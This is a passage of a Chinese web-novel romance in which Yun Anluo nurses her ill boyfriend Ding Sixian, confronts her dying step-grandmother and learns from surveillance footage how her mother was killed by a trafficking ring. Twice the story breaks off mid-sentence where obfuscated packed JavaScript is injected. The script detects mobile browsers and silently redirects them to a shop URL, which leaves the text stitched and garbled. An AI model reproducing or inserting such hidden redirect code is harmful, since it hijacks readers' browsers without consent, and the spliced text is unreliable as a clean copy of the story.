“这次,没有,还是最近养得比较好。”丁似霰仅仅说了这一次,很显然话未说尽。 “那哪次有呢?” “多数就是咳点血丝,没什么大事。” “进过医院没有?” “两次。” “什么时候?” 丁似霰发觉云安洛是真的想把他挖个干净,躲是躲不过了,倒不如真的一次性坦白从宽。 “你跟大高个传绯闻热度最高那天。” 云安洛听到这里人都愣住了,她记得那天,丁似霰说他有应酬。 但她从未想过,丁似霰是在医院里,醒过来后立刻回的她消息。 真该死啊,云安洛还记得那天她还贱兮兮跑去给小d分享她自己的八卦新闻。 “我,我,我这个……我不知道你在医院啊,真没想刺激你……” “没有,你说我比咔咖帅,我还挺开心的。” 云安洛揉了揉丁似霰的头发,“我们家小光也太好哄了。” 她总感觉自己要是能长出第三只手就好了,可以一边和丁似霰牵着手,一边揉他的头。 “我,我酒醒了……”显然,清醒状态下的丁似霰还不太适应云安洛这种“哄孩子”的语气。 “怎么?我哄哄我男朋友还非得喝大了才行?” 丁似霰在云安洛的男朋友这个身份里,脸皮还是有些薄,他低着头窝在云安洛怀里,“那倒不是……” “等会,你,你一直知道小d是我?”丁似霰猛地抬起头,他才意识到自己马甲掉了的问题,“从一开始就知道?” “对呀,不然你以为我跟一陌生男的天天叭叭叭叭叭叭,还跟人来回邮东西,我可没那么广结良缘,”云安洛说到这里突然笑了起来,“我还纳闷呢,晚上你翻旧账的时候我都以为你要说我跟网友唠好几年然后和你一条消息不发了,结果你压根没提这事。” 丁似霰长叹了一口气,“我还以为我藏得很好……” “好了,继续对账,第二次呢?” “还有城西开发区建设的时候,那次有点严重,过了两天才醒,没想到你都半个多月没和我说话了,我就离线两天,你给我发了十几条消息。” 那段时间云安洛忙着参与开发区建设,所有其他事情全抛在了脑后,等到工作大部分结束她想起来和丁似霰说一说闲话的时候,轰炸般发了十多条消息。 “李开颜把手机铃声打开之后放我床边,我基本是被你消息炸醒的。” “怪不得,你回消息那么慢,还几乎都是表情包和单个的字,”云安洛心疼地握紧丁似霰的手,用拇指轻轻摸着他血管上因为扎针而留下的一排疤痕,“这么多年,你把我当日历记着?” “差不多吧,”丁似霰神色暗淡了一些,“确实,没什么其他盼头。” “我要是真跟别人好上了怎么办?” 这话刚一出口,云安洛就感觉到丁似霰的手在抖,明明那么在乎,还要一直憋在心里。 “那,也……挺好,你开心就好。” 一个念头在云安洛脑海中一闪而过——丁似霰八月份去做检查根本不是为了养身体! “你是不是当初准备要是真查出来什么毛病,项目你就不跟了,这辈子也不准备再和我见面?” “我……”丁似霰的心思被戳破却没有一点解释的余地,他企图撑起身说些什么,却因为情绪剧烈的波动引得胃中又一阵绞痛,只能蜷起身剧烈地喘息。 “我没生气,你别着急,我,我只是心疼你懂吗?”云安洛赶紧用手掌贴着丁似霰上腹顺时针轻轻 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什么葡萄能不能吃到,什么甜不甜的,我就想哪怕你以后跟别人亲嘴的时候我都在你脑子里魔音绕梁!” 大概是身体本就亏虚,没多久丁似霰就没了力气,瘫软在云安洛怀里,声音也更加虚弱:“没有女同学……那是学工办的,在,在和我说保研的事……” “我知道我知道,但我当时不知道呀,我就是说,你霸道点,别那么有道德感。 不管怎么样我就是喜欢你,因为先喜欢上你了,所以你的一切我都喜欢,不拖累,不麻烦。” 丁似霰没有说话,只是紧紧抱着云安洛,不住地点着头。 云安洛把手放在丁似霰脸侧,轻轻拂去他眼角的泪痕。她确实不大清楚胃痉挛有多疼,但感觉这短短几分钟就已经耗尽了他休养一夜的精力。 云安洛摩挲着他的脸颊,说道:“累了就再歇一会吧,还很早呢。” 丁似霰闷闷地应了一声,却抱得更紧了些。云安洛倒是不感觉勒,她只是有些怕这人把自己闷个好歹出来。 “别怕,我陪着你,哪也不去。”云安洛牵起丁似霰的手,像是作为回应,牢牢把自己和他握在一起。 不知是因为疼痛还是不安,丁似霰再次昏睡过去后身子也依旧有些颤抖。云安洛只好在他的手指上来回轻柔地抚着,以此来证明自己一直都在。 只动手指是因为另一只手一直在他上腹打着圈按揉,属实很难两只手各干各的事。 云安洛看着丁似霰的样子,不禁在心中暗骂自己,非要这时候问什么问,把人惹犯病就老实了。 丁似霰这人最开始的时候看起来像是学校里最招人喜欢的没心没肺的那种傻大个,每天顶着一张帅脸笑呵呵跟在乔洛身后输出彩虹屁,乔洛有需要他也随叫随到,这对于当初的乔洛来说无疑是让人沉迷的。 哪怕他偶尔不知道从哪里吃口飞醋,自己把自己哄好,又或是耍耍无赖,乔洛都感觉很有趣。 但他似乎总有一股子奇怪的自卑在,成绩、羽毛球赛,以及他的身体。 换做别人这样大概云安洛会感觉烦,她懒得去理解旁人的情感,只是丁似霰不同,洛洛会不厌其烦地把小光捋成顺毛。 人的性格经过了二十几年的洗礼,大概很难改变。 在那些变故后,云安洛所有的情绪系统更加不敏感了,每天都淡淡的;丁似霰呢,他就像个工作狂,一周七天能给自己排七天半的活,人虽然依旧温和但没有了那么多笑模样。 直到再次相遇,两个人似乎都重新找到了当初那个懵懂的模样。 但丁似霰怎么更别扭了?云安洛看着怀里呼吸逐渐均匀的人,轻轻叹了口气,倒也不是什么大事,毕竟很好哄。 但身体还是得好好养一养,太遭罪了。 78. 一起住 丁似霰醒来后,云安洛就捧起丁似霰的脸,俯身落下一个吻:“这次不冒犯了,亲我自己男朋友,合理合法。” 看他红着眼睛的小可怜样,真的很想亲,云安洛也不清楚她这个喜好算不算兽性大发。 丁似霰一动不动,愣愣地看着云安洛,他的耳朵肉眼可见越来越红。 “我们家小光怎么脸皮这么薄呀!”云安洛总是感觉,逗丁似霰是一件很有趣的事情,特别是他耳朵尖通红,愣乎乎看着她不知道说什么的时候,最有趣。 丁似霰憋了半天,只说出两个字,还是转移了话题。 “饿了。” “你可以吃点什么?网上说啥的都有,也不知道哪句话是真的。”云安洛看过那些养胃食谱,怎么说呢……无论哪款,她都感觉毫无食欲。 “我想吃疙瘩汤,可以吗?” “你不会是怕我不会做别的吧?我现在厨艺虽然不算太好,但也多少会做点别的东西了。” “没有,就是,想吃了。” “不过,不是说得干湿分离吗?”这是云安洛记忆里,那些帖子中出现最多的字眼。 “太干了,吃得难受。” “那你吃这个的话,胃会疼吗?” 丁似霰很诚实地摇摇头:“不知道,但至少心情会好。” “行,那我就少做一点,陪你当赌狗。” 云安洛本想离开被窝,下床去厨房,但发现丁似霰丝毫没有松开胳膊的打算。 “你这样抱着我,我怎么做饭去?” “不想松开。” “乖,很快的,你再躺一会,”云安洛又弯下腰亲亲丁似霰的额头,“十五分钟,最多了,我就能回来。” “你好像在哄那种无理取闹的小孩,”丁似霰松开胳膊,翻了个身,躺在云安洛身边,“很乖的。” 不过云安洛的手离开丁似霰上腹的瞬间,他还是微微地颤了一下,果然由奢入俭真的很难。 如同云安洛所说,这饭做得确实很快,堪堪十几分钟,云安洛就端着一小碗面汤回到卧室。 丁似霰侧躺在床上,面朝着门的方向,云安洛坐在床边时他并没有睁开眼。 反正饭还很热,现在进不了嘴,云安洛没有叫他,只是拄在床边,静静地欣赏着。 真的很帅啊…… 云安洛没有细致研究过人体五官比例,也不太懂那些形容,但丁似霰生得白净,眉眼深邃,鼻梁也高挺,嘴唇薄厚适中,笑起来还有一个浅浅的酒窝……总有女孩看上这张脸,确实合理。 大概哭的有点多,丁似霰整个眼睛还是泛红的,刚刚云安洛就发现了,还从冰箱里取了个冰袋出来,准备一会给丁似霰敷一下。 一声并不尖利的手机铃打破了云安洛安静的欣赏时间,丁似霰睁开眼,就看见云安洛一脸无语地看着手机屏幕。 该死的乔耀。 云安洛接起电话,就听到对面问道:“乔洛你什么时候到?” 乔耀不太像以前那种跋扈的声音,听起来倒有点,害怕? “飞机延到下午十二点多起飞,到新柳的话得晚上。” “奶奶刚抢救回来,你,你快点来吧!” “小祖宗,我还买不起飞机,那玩意什么时候起飞我决定不了,老太婆要是真该翘辫子了也不会因为我看她一眼就起死回生,”云安洛一手拿着手机打电话,另一只手撑在床上,却被丁似霰轻轻勾着指尖。她竟然感觉心情并没有因为这通电话变得烦躁,看来美色误国是真的。 其实乔耀也才十七八岁。乔连富十年前死了,乔耀的妈前几年也得病死了,如今这老太婆也要死了的话,乔耀只剩下云安洛这一个并不想认他的姐姐。 乔家的基因还真是,恶劣。云安洛突然感觉过段时间她应该去做个基因检测。 “我到了奉州就直接打车去医院,尽快,”云安洛也算多少有点可怜乔耀,语气稍微松了一些,“我还有事,先挂了,你在医院等我吧。” 丁似霰看见云安洛放下电话,便坐起身等待云安洛投喂。 他这幅没长手的样子云安洛倒是很喜欢。 “我陪你一起回去?”丁似霰试探性地问了一句,不过他也清楚,云安洛大概率不太会同意。 云安洛舀起一勺面疙瘩,吹了吹,喂给丁似霰,“你今天不上班啦?” “我有好多年假,一周不上班都没事。” “那你就在家歇一歇吧,我明天上午八点多的飞机回来,别折腾啦,也没什么大事。” “那我……等你回来。” 云安洛放下碗,向着丁似霰的方向蹭了两下,凑得离他更近些,笑眯眯问道:“在哪里等呀?” 丁似霰有些紧张地咽下口中食物,很没信心的说道:“机场?” 云安洛摇摇头。 “那……那在这?” “嗯!”云安洛点了点头,心满意足。 “但是我得回去取一下电脑,接了点私活得做……” “用我的电脑呀!”云安洛打断了丁似霰,很愉悦地跑去客厅,把自己的电脑拎了进来,递给丁似霰,“密码是qpalzmwoskxn888,你打开看看。” 云安洛的电脑桌面……很乱。也不能说很乱,只是一眼望过去不太能分辨图标在哪里。 她用,MC的工具栏当背景图,把一些方块替掉成了图标…… 最先引起丁似霰注意的,是一个文件夹,“大……大傻X?” 云安洛理直气壮地回了一句:“对呀!” 丁似霰满脸疑惑地点开文件夹,才发现这里面竟然是他本打算周末赶出来的工图。 “洛洛你还会这个!” 他也懂了,所以大傻X,是DSX,是(d,s,x)。 洛洛还真是,神奇。 “嘿,我可老厉害了。”云安洛很愉快地哼着小曲把餐具端出去放到洗碗池旁,又用毛巾包好冰袋回到卧室。 “来吧,把眼睛闭上给你敷一敷,”云安洛拿着包好的冰袋,轻轻地敷在丁似霰眼睛上,“以后可不能这么哭了,眼睛肿了之后大双眼皮都要看不到了。” 丁似霰猛的睁开眼,身子前倾,双手环在云安洛腰间,“变成肿眼泡了你还喜欢吗?” “你在想什么呢,主要是肿了之后你自己眼睛不感觉睁开一会就酸吗?”云安洛笑道:“不过,或许吧,反正现在这样看起来还挺可爱的。” 两人这才意识到,他们如今离得有多近。 和昨夜的感觉不同。 他们甚至能听到彼此的心跳声。 都这样了,不亲一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908970|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下是不是有点过分。 “可以,亲你吗?”云安洛不知为何,竟然问了出来。 丁似霰紧张地咽下一口口水,他从没想过这种时候,还应该先问一句吗? “可,可以吧……” 与云安洛落在丁似霰唇上的吻一同到来的,是云安洛手机中九点十分的闹钟。 云安洛一瞬间僵住了,又有些尴尬地坐起身,关掉闹钟。 该死的,本来就不会亲嘴,还要被打断。 “那个……等,等我回来再说,”云安洛舔了舔嘴唇,紧接着又从牙缝里挤出了一个问句:“要不,你先研究一下呢……” 这话一出,两个人瞬间绷不住了,捂着脸笑成一团。 “我还可以再懒一会,”云安洛很随意地栽进丁似霰怀里,又把闹钟向后延了二十分钟,“你都不问问我回新柳做什么?” “很重要的事情吧?”丁似霰把云安洛的发丝绕在指间,轻轻地缠绕又放开。 “乔耀说他弄到了我妈妈出事的时候路边一家商铺的监控,让我回去见乔家老太太最后一面,他就把录像给我,”云安洛有些担心地看着丁似霰,“无论真假,我必须得回去看看,你需不需要……” “不用,”未等云安洛说完,丁似霰就打断了她,“胃痉挛说通俗点就是抽筋,放心,我没事的,你注意安全就好。” “衣柜里面有睡衣,买回来之后我洗过了,你一会可以换,饿了的话就叫外卖或者冰箱里的东西你自己看看随便弄点,”云安洛从床头柜的抽屉里拿出了一个钥匙,递给丁似霰,“这个是家门钥匙,楼下单元门密码是2580。” 丁似霰这才想到,其实那双棉拖和云安洛的是同款,仅仅颜色不同。 并且是丁似霰的鞋码! “你这是?”丁似霰有些难以适应他们之间这么迅速的变化。 当然,丁似霰不傻就能听出来云安洛把这个小屋子的使用权平分给了他,但他有点不敢相信云安洛早已准备了这些东西。 “我早就想拿下你,然后把你拐来和我一起住呀!”云安洛很是坦诚,“之前没想好理由也没找到合适的时机罢了。” “现在找到的理由是什么?” “嗯……”云安洛思考了一下,“我怕昨晚上那个家伙报复,需要你保护我,这算个很好的理由吧?” “嗯,很好的理由,”丁似霰点点头。 “你身上硌得慌,”云安洛坐了起来,揉着自己的肩膀。 “我努力,争取早点取代你的靠枕。” 云安洛的闹钟再次响起。 “这次是真得收拾收拾滚蛋了,破机票将近一千块钱,误机的话我是真要骂街了。”云安洛站起身抻了个懒腰,“好像也没啥收拾的,我就把证件和手机充电宝带着就完事,你记得自己再敷一敷眼睛。” “好,保证完成任务,”丁似霰接过冰袋,盖在自己一只眼睛上,另一只留出来看着云安洛,“把伞也带一下,天气预报不可信,南菀的雨说来就来。” 从此君王不早朝是有道理的,云安洛从来没有对南菀有过这么强烈的眷恋之意。她甚至关上大门走到电梯口后,又跑回去轻轻在丁似霰嘴唇上啄了一下。 好像此时此刻,打开大门就立刻看到丁似霰,是现阶段最幸福的事情。 79. 真相 晚上六点刚过,云安洛到达了新柳的人民医院。 她刚刚用手机支付完车费,微信里就弹出了丁似霰的消息。 三张照片:洗完并且立立正正晾好的衣服和床单被套,看起来不算太好吃但也能入口的食物,还有一张是丁似霰穿着云安洛买的家居服,对着镜子自拍了一张。 纯纯勾引! 他上衣扣子有两个没系,露出了锁骨和一点点胸膛。 ——衣服穿好,别着凉了。 云安洛假装正经地发过去一条叮嘱,但还是很难克制住自己的手,又发出一条消息: ——等我回去再给我看,我怎么手伸不进去屏幕,恨啊。 ——好的,遵命。 丁似霰又发来一张图片,他又把睡袍穿在身上裹得严严实实,还给自己扣上了帽子,只露出来一只拿着手机的手和两只眼睛。 不知不觉间,云安洛已经走到了917病房。乔家老太太得的是什么病云安洛也并不清楚,她只知道这里是神经外科的病房。 云安洛给乔耀发了短信: ——我在病房外面,你先出来。 云安洛上一次见到乔耀,还是在五年前谈乔家老太太每个月的赡养的时候,当时云安洛大学刚毕业回到奉州,乔耀的妈妈也死了,从法律层面讲,云安洛需要赡养那个老太婆,从道德上来讲,她或许也应该管一下乔耀。 虽然云安洛对乔家没感情,但是她收了乔连富的遗产这是事实,所以她当初答应了每个月给乔老太太打三千块钱,让他们两个不要再找她,以后就只有金钱往来就可以了。 当时十二岁的乔耀还没有长个子,小小的一个。 但不得不说,他长得很像乔连富,不难看,或者说良心话,小伙子挺好看。 很难不怀疑当年云锦书是看上了乔连富那张不靠谱的脸,才同意搭伙过日子的。 并且云安洛一脉相承,她也喜欢白净又瘦瘦高高的男孩子。 不过丁似霰现在太瘦了点,等过段时间不忙了得好好养一养。 不对,为什么要过段时间,现在就要开始! 云安洛很快收回思绪,双手抱在胸前,站在病房外等待乔耀出来。 如今的乔耀,长得和乔连富更像了。 “说吧,需要我做什么。” 乔耀倒是也很痛快,并没有绕弯子:“奶奶说她有话要和单独你说,我也不知道是什么,你,你进去陪奶奶说一会话,出来我就找个地方把录像给你,还有些别的事情。” 云安洛点点头,便推开病房的门。 这病房是四人间,床铺之间都拉上了帘子,病房里很安静,几乎没什么人说话,乔老太太在最里面,床边还有一个护工。 其实云安洛已经记不清乔老太太长什么样了,她也不知道该怎么称呼这人。 叫奶奶是不可能的,但,云安洛甚至不知道她的姓氏。 不过也不重要,这人,云安洛不大需要了解,更没必要记得。 云安洛站在床前,一副不想触碰这个病房里任何地方的样子。 “有话想和我说?” 乔老太太示意护工先离开,让云安洛靠近一些。 其实云安洛能想到她想说什么。 还能是什么。 她死了之后让云安洛继续养着乔耀呗。 但云安洛还是让老太太费力地把这些话说完,她不想让老太太好受哪怕一点。 云安洛向床头走了几步,手指搭在呼吸机的开关处,露出了一个比较邪恶的笑容:“你说,我关了它,是不是还能给乔耀省点钱,让他稍微富裕一点?” 老太太惊恐地瞪大双眼,检测仪器上她血压和心跳频率瞬间飙升。 “啧,这么怕死,”云安洛收回手,她也就是吓一吓老太太,并不想手上真的沾她的血,“我小时候你那么对我,我甚至都怀疑你是想弄死我之后好让我妈再生一个,哪曾想现在还得求着我。 是因为没想过乔连富会死那么早吗?但他至少还知道给我点钱让我记着他的好,你怎么只会用嘴说一说,太没诚意了。” “你,你……你……” 乔老太太半天都没有说出一句完整的话,只有氧气罩蒙上了一层白雾。 但云安洛也没了继续看着她的耐心。 “好了,你想说的也说完了,至于管不管乔耀,看我心情,但就目前你的表现来看,我心情不太好,所以别再作妖。 我不想再和能喘气的你见面,说不定,让我清净开心了,我还能供乔耀继续上个大专。” 乔耀只说了要云安洛来和老太太说话,可没说让云安洛答应任何事情。 云安洛走出病房,向乔耀伸出手。 录像该给她了吧? “奶奶和你说了什么?” “录像。”云安洛并不想和乔耀闲聊,也没有回复他的疑问。 乔耀也没有继续追问:“你跟我回家,U盘在家里。” 乔家的双层小洋楼,云安洛小时候也是在那里长大的,只是云锦书和乔连富离婚之后,她再也没去过那里。 还是和以前没什么区别,只是看起来各种家具使用的痕迹淡了许多。 那家商铺家的孩子和乔耀从初中开始就混在一起,机缘巧合下,乔耀和朋友在家里翻游戏机的时候这个U盘掉了出来。 当年警察来问的时候,话里话外的意思,他们最好是没有监控。这家人也不敢说些什么,只好说新安装的监控但还没有启用,所以什么都没录上。 但又感觉如果真的删掉了,或许有些事真的就再也见不到光,只好把监控存了起来。 录像模糊的画质,好像可以一下就把人的思绪带回到九年前。 云锦书停好车后,就在车里等着云安洛。 有个女孩从路旁的小巷子里跑出来,后面还紧跟着两个男人。 女孩认出云锦书的车,直奔着她而来,嘴里一直喊着“云老师救救我”。 云锦书丝毫没犹豫,立刻下了车,把女孩护在身后。 可那两个男人毫无顾忌,直接打晕了云锦书和那个女孩。 女孩又被从小巷子拖走,云锦书被塞回车里。 鞭炮是男人扔进车底的,未燃尽的烟头和他的打火机也被一同扔了进去。 然后就是云安洛看到的爆炸。 不到十分钟时监控录像,困了云安洛近十年。 录像播放结束后,乔耀说道:“那个女学生叫袁媛,我也是听我一个朋友说的,她当年说要去南菀赚钱。” 虽然早就有所猜测,但真的知道真相后云安洛还是很难做到让自己平静。 她靠在座椅背缓了许久,才回复乔耀:“我知道,但她失踪了,家里没人报案也一直没有消息。” “可能,我只是说可能,袁媛在失踪之前给我朋友打过电话,她说她不知道该怎么办了,那些人答应带她去南菀赚钱都是假的,是,是,好像是想把她卖掉。” 卖掉,那一切似乎都可以串联在一起了。 云安洛拔下U盘,放进自己的背包里。 “乔耀,谢谢你告诉我这些,但你也该知道,你我之间无论从哪个层面来说,都是以后不要来往要更好一些,”她拿出一张银行卡,递给乔耀,“乔连富死之前给我的,算上这些年物价增值,我又给你补了些。密码就是卡号后六位,这些至少足够你读书的时候用,以后我就管不到了。” 说完,云安洛就起身准备离开。她需要自己安静一会,在脑子里整理整理这些零散的信息。 “姐!”乔耀对着云安洛的背影,大喊了一声,“对不起!我知道乔家对不起你和云姨。 我,我没想找你要钱……” “你奶奶是想要我养你后半辈子,但这是不可能的,”云安洛并没有转身,她拧开门锁,推开了大门:“乔耀,我不想当乔家人,大人们的事情我也没有兴趣迁怒在你身上,更没欲望和你有什么姐弟情分,以后,别来往了。” 那日,是大雪时节。傍晚,天空中很应节气地飘起雪花。 云安洛对于满天的雪花早已没了什么新鲜感。 她走在路上,拨通了丁似霰的视频电话。 “看,下雪了。”云安洛把摄像头翻转,微黄的灯光中,可以看见雪花一片一片落下,“你很多年没见过大雪了吧?” “也没有,前年南菀下过一场雪,很大。”丁似霰那边黑漆漆的,完全看不清镜头里任何景象,“但是远没有家里的雪松软,而且很冷。” “等回了奉州,我们堆雪人去吧,就在火锅店门口,堆个雪傀儡迎客,”云安洛把镜头对准自己,笑吟吟看着屏幕,“你怎么都不开灯,我想你了,让我看看呗~” 丁似霰拉开床头的暖灯,裹着被出现在镜头里,“这不是早睡早起身体好嘛。” “这也太早了点,”云安洛看了眼时间,才九点零七分,“你有不舒服吗?怎么看着没什么精神?” “没有,下午回去取了点东西,刚才修了几张图,眼睛有点疼。” “那就,晚安吧,你早点睡,说不定一觉醒过来就能见到我了。” “那我得……”丁似霰大致计算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908971|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下时间,“一觉睡十六个小时。” “确实有点久哈,不过我改签了,六点四十起飞十一点多就能回去,你只需要睡十四个小时。” “好,明天见,晚安。” “晚安。” 云安洛回到家后,从头至尾理了一遍所有事情。 前段时间,孟杰礼告诉云安洛,他可能有了些思路,但一切线索在追查到城郊那栋别墅的时候,都停止了。 仿佛那栋看起来毫无异样的别墅,吸收掉了所有疑点。 并且,孟杰礼在第二次追到别墅后,因为另一个案件的调查过程中出现失误被停职,然后调去了交警队。 这些事情,便再也没了进展。 所以云安洛才会在一个月后参与南菀的这个项目的竞标。 孟杰礼让她不要来,可她偏不听话。 孟杰礼还查到,祁利的董事长祁正川暗地里似乎有些交易,但是对象是谁,目的是什么,都还未查到。 那事情便能捋清了。 祁利表面上做的是建材生意,背地里在各种渠道诱拐年轻女性,有些是淫.乱过后送去别墅,当然估计也有直接拐走,他们为了保留价值不能动的,就比如当年的云安洛。 袁媛说他们想卖了她,可卖去哪里,云安洛想象不出来。 至于其他的什么事情,大概只是碍了他们的路,顺手被扔下水。 可就算知道了,又能怎样。 云安洛发现她似乎没了玉石俱焚的勇气。她想和丁似霰好好生活下去,过平淡的日子。 不知道从什么时候起,她竟然开始畅想以后回到新柳的日常琐事。 可那些事,也需要一个结果。 云安洛回到家后,才发现孟杰礼早在下午四点多就给她发过消息,说有事情想征求她的意见,奈何云安洛并没有看到。 还好孟杰礼不是什么太早睡觉的人,云安洛现在回消息也不算晚。 云安洛万万没想过,那年在酒店竟然还有视频留下。 孟杰礼暗地里和他从前的刑警队友们联系,因为涉嫌挪用公款拘留了臧樾卓和王德全,而那些视频是从臧樾卓的电脑中发现的。 昨晚的酒局,是丁似霰在用最愚蠢的方法拖延时间,把那两个人的注意力都聚焦在灌他酒这件事情上。 “小丁和我说的,臧樾卓手里有视频,主要是有你的,他一直拿这个威胁小丁来着。 然后许志在臧樾卓电脑的隐藏空间里翻出来了,很多。” “怎么还有许志的事?小丁?不是,你又怎么和丁似霰认识的?”云安洛听得一头雾水。 “我被云老师送进练字班的时候就认识丁似霰了,要不是他我还查不到别墅呢。许志是技术科一个同事的大学同学,也算是热心市民,这小子技术真高,几下就把隐藏文件弄出来了。” 云安洛突然发现,丁似霰在她不知道的地方,做了好多好多事。以及,想要让这些事情的真相大白,似乎真得东拼西凑些能人。 “我完全没印象还有什么视频,就记得醒过来的时候确实衣服被扒得就剩内衣了,但也没啥别的事啊。” “嗯,是这样,你的就是扒一扒衣服。” “这东西能威胁啥啊,就这破玩意也值得丁似霰昨晚上把自己喝成那样?”云安洛气得想冲回南菀手撕了臧樾卓。 “还有很多其他视频……有一些,很惨烈,”孟杰礼顿了一下,轻轻叹了口气,“我也只是和你说一下,让你有个心理准备,毕竟后续肯定会找视频里的当事人询问。” 云安洛又咒骂了几句这些畜生,而后把刚刚理清的思路说给孟杰礼。 最后得出的结论,只能继续等,等下一次机会。 “你和丁似霰早就认识?那商学院副院长被开除那次,是不是你也帮忙了?”云安洛突然想起了些往事。 “我那个时候都调回南菀了,也没帮多少,主要还是丁似霰做得多,他当初意外落水,肺部感染住院了还能跑去谭棠把你捞回来,我也是没想到。” “什么?他怎么还掉水里了?” “恶意报复,他评上了一等奖学金,还能保研但是放弃了,有两个人看他不顺眼就把他弄了。” 云安洛甚至不敢相信自己的耳朵,竟然会有人因为这种事情去企图杀人。 “那两个人呢?” “被学校记了处分。” “就这??” “两年前寻衅滋事,被我抓进去了关了几个月。” 毫不夸张地说,云安洛想剁了那两个人的心甚至比臧樾卓更强烈。 80. 并肩 云安洛开启飞行模式前,丁似霰的表情包赶在最后一秒挤进手机。 ——[早上好] ——起这么早? ——早起的鸟儿会有虫吃吗? ——不建议,我更希望是虫儿被鸟吃,因为我不想早起。 紧接着,丁似霰发过来一张照片。 他窝在床褥里,只露出了下半张脸、白花花的脖子……还有那半露不露的锁骨。 ——吃吧。 纵使云安洛知道,这人正常状态下脸皮厚得难以想象,也还是会霎时间心跳加速。 谁家好人禁得住二十四小时之内被这种照片诱惑两次啊! ——男人,你在玩火! 马上起飞了,你等我五个小时以后杀回去开荤!!! ——[等你哦.jpg] 飞机起飞后,云安洛还是没忍住,又点开图片看了看。 到底谁像山雀,明明丁似霰现在更像那个开屏的孔雀。 但是确实,诱惑有效,云安洛巴不得闪现回到那张她平日里嫌弃万分的床上。 今天是个难得的晴天,落地谭棠后迎面冲来的竟然是阳光。 云安洛在摆渡车上给丁似霰发了个定位。 ——没想到吧,飞机提前半个小时到了! 过了许久都没有收到回信,云安洛想着他大概是在睡回笼觉。 云安洛几乎是小跑着冲到她的车子里,然后启动,开上高速! 真的很巧,停车时间二十三小时五十八分,正好收一整天的停车费。 谭棠机场到南菀有一段绕城高速,要比便道快上很多,十点三十刚过,云安洛就驶出了南菀市收费站。 如果按照丁似霰正常的行为逻辑来推测,他就算睡着了也会定个闹钟,但此时此刻,云安洛并没有看到他任何回信。 在一个很漫长的红绿灯路口等待时,云安洛还是没忍住,拨通了丁似霰的电话。 坦白讲,云安洛是有点心慌的。 丁似霰瘫软在她怀里的那种感觉,很不好。虽然他说他不会有问题,可他总是这样说,在这件事情里,丁似霰在云安洛心里的可信度几乎为零。 云安洛把电话拨通三次,车载蓝牙传出的声音一直都是“对不起,您拨打的电话无人接听”。 第三通电话挂断,云安洛也终于通过了这个交通路口,她放弃了拨打电话,满心想的只有尽快回家。 可能吧,丁似霰开了静音。 他醒来看到会回的。 直到云安洛把车停好,打开单元门,她还是没有接到丁似霰的电话。 有一台电梯坏了正在维修,二十二楼的人家似乎是在装修搬运东西,另一台电梯停在二十二楼迟迟不动。 云安洛在一楼等了约有一分钟,就再也按耐不住,拐去了一旁的安全通道。 这是云安洛第一次徒步爬十五楼,并且还一直以她最快的速度。 云安洛刚进入屋子,便看到客厅白色的地毯上散落着许多药粒,而丁似霰……晕倒在地毯边缘。 她几乎是冲了过去,把丁似霰扶起来,拍着他的脸,“丁似霰你怎么了!醒醒!你别吓我啊我真害怕,你醒醒!” 丁似霰在云安洛的摇晃下,眉头微微皱起,缓缓睁开眼,“洛洛?” 云安洛一瞬间松了口气,才觉出她两条腿都在颤抖。 她卸了力,垂下头,紧紧抱着丁似霰,泪水夺眶而出,连声音都带着压抑不住的颤抖,“丁似霰……你,你吓死我了你……你不是说你没事吗!你又骗我……我就没见过哪个活人疼成过那个样子……” “死人也不知道疼了不是?”丁似霰笑着擦了擦云安洛脸上的泪,又撑着地,坐起身,把云安洛揽进怀里,轻轻拍着她的背,“对不起嘛,真的没想骗你,本来一直都没什么事的,早上突然又疼起来了,结果还没拿到药。” 见云安洛并没有说话,反倒依旧哭得很凶,丁似霰又打趣般问道:“我听李开颜说,你们这些小姑娘,就喜欢那种半死不活的帅哥?” “那谁也没说过,想让自己怀里的半死不活啊!” “嗯……至少你认可我是帅的这件事。” 云安洛抬起头,重新审视了一下丁似霰这张脸,发出了一声肯定的“嗯”,又把自己埋进丁似霰的怀里。 她已经不再抽泣,但声音还是闷闷的,“孟杰礼都告诉我了,你是傻的吗?当初肺部感染了还跑去找我,现在又不要命似的喝那么多酒。” “你以后不许再这么喝了!”云安洛猛地抬起头,脸上还带着一丝怨气,“以后回了新柳谁再敢灌你酒,看我不浇死他!” 云安洛其实从来就不是好脾气的人,她仅仅是懒,以及在乎的人和事并不多,所以看起来很多事情她都没有太大情绪波动。 但,从昨晚和孟杰礼打过电话开始,云安洛真的很生气。 说是生气也不太贴切,心疼、无奈和懊悔交织在一起,让她感觉闷得慌。 可她却什么都做不了,目前来看无论是过去的哪件仇,她此时此刻都没法报。 丁似霰满脸笑意地揉揉云安洛的头,“好,那等回新柳,我就要靠洛洛大王罩着了。” “你还笑!”云安洛抓住丁似霰的手,并制止了他的行为,“我出了一脑袋汗,你也不嫌,还在这揉。” “还好,”丁似霰回握住云安洛的手,“但你怎么喘成这样,像被狼追了似的。” 直到现在,云安洛的呼吸还是乱的,空腹极限运动,真的很难调节呼吸。 “楼里电梯现在不能用,我楼梯爬上来的,累死我了,”云安洛慢慢扶着茶几站起身,“我不行了我要去洗澡,你自便吧你。” 云安洛洗过澡,穿着浴袍打开浴室门,就闻到了一股香味,番茄牛腩的味道。 她回到卧室换上睡衣,简单擦了擦头发,便小碎步跑去厨房。 丁似霰在盛汤。 